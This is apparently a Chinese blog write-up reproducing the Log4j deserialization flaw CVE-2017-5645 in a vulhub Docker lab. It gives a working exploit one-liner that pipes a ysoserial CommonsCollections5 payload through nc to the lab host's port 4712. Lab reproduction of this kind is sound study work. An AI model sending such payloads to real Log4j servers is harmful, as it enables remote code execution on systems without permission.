log4j反序列化漏洞-CVE-2017-5645

1.CVE-2017-5645

​ Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

2.反序列化漏洞

序列化:将对象的状态信息转化为字节流,以便可以将其持久保存在存储介质上,或者可以通过网络将其发送到另一个运行中的JVM。

反序列化:将字节流恢复为对象,即将字节流恢复为对象,即将序列化后的字节流重新转化为对象实例。这个过程中,JVM会根据字节流中的信息重新创建对象,并恢复其状态。

原理:

​ JAVA反序列化漏洞主要发生在反序列化过程中。当攻击者可以控制或篡改序列化后的字节流时,他们可能会在反序列化过程中执行恶意代码。这通常是因为开发者在处理反序列化过程中没有进行足够的安全性检查。

3.复现

​ 搭建docker靶场,这次嫌麻烦,先简单复现一下漏洞,暂时不进行污点跟踪因此,先使用docker环境进行复现。

​ 靶场下载地址 :https://github.com/vulhub/vulhub

3.1.启动docker 并进入靶场文件夹

image-20230924235822614

3.2.启动docker 并编译运行

1
2
$ systemctl start docker
$ docker-compose up -d

image-20230925000215783

3.3.使用nmap扫描6472端口,端口发现

image-20230925000742486

3.4.使用反序列化工具生成payload并使用nc连接。

1
$ java -jar ysoserial.jar CommonsCollections5 "touch /tmp/CVE-2017-5645_is_success" | nc 192.168.10.128 4712

image-20230925002025616

​ 命令执行成功。

image-20230925001950555

4.总结

​ 复现简单,但是要跟踪其原理对我来说还是有点困难,目前来看主要问题出在对java底层代码运行机制不够了解导致的,以至于一直学习反序列化rce一直碰壁,困难重重,下周打算,学习一下java底层运行机制,jvm,元数据区,栈帧,以及堆中的数据代码执行的逻辑。